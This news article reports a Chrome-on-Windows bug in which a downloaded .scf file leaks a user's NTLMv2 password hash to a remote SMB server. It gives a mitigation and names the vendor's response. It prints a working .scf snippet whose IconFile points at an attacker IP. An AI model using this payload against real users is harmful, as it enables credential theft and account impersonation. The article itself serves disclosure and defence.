Google’s Chrome team is working to fix a credential theft bug that strikes if the browser is running on Microsoft Windows.

The bug is exploited if a user is tricked into clicking a link that downloads a Windows .scf file (the ancient Shell Command File format, a shortcut to Show Desktop since Windows 98).

This exploits two things: how Chrome handles .scf files, and how Windows handles them.

Most download links are sanitised by Chrome – for example, as discoverers DefenseCode write, since Stuxnet the browser has forced a .download extension onto Windows LNK files – but not .scf files.

That arrangement means that if the user clicks the link, the malicious .scf file will lie dormant in the /Downloads directory until the next time the user opens the folder.

Here’s where the Windows flaw comes in: merely viewing the folder will trigger Windows to try and retrieve an icon associated with the .scf file.

To retrieve the icon, the user’s machine will present credentials to a server – their user ID and hashed password on a corporate network, or the home group’s credentials if it’s a personal machine.

Naturally enough, since this involves credentials, they’re available to the attacker.

If the .scf file contains this code:

[Shell]
IconFile=\\170.170.170.170\icon

… then the user ID and hashed password will be presented to the attacker’s IP.

Since it’s an NTLMv2 hashed password, to recover it would need offline brute-force cracking, but SecureCode points out that user ID and the hash can be presented to other services.

“The remote SMB server set up by the attacker is ready to capture the victim’s username and NTLMv2 password hash for offline cracking or relay the connection to an externally available service that accepts the same kind of authentication (e.g. Microsoft Exchange) to impersonate the victim without ever knowing the password” writes Defense Code’s Bosko Stankovic [emphasis added].

Password brute-forcing is only moderately difficult, the post says: an NVIDIA GTX 1080 card should manage to recover an eight-character password in less than a day.

While users wait for a fix from Google, Chrome users should get to their Advanced settings, and make Chrome ask where downloaded files are to be saved: that way, the .scf extension will be revealed.

Google told Kaspersky’s ThreatPost it’s aware of the issue and is working on a fix. ®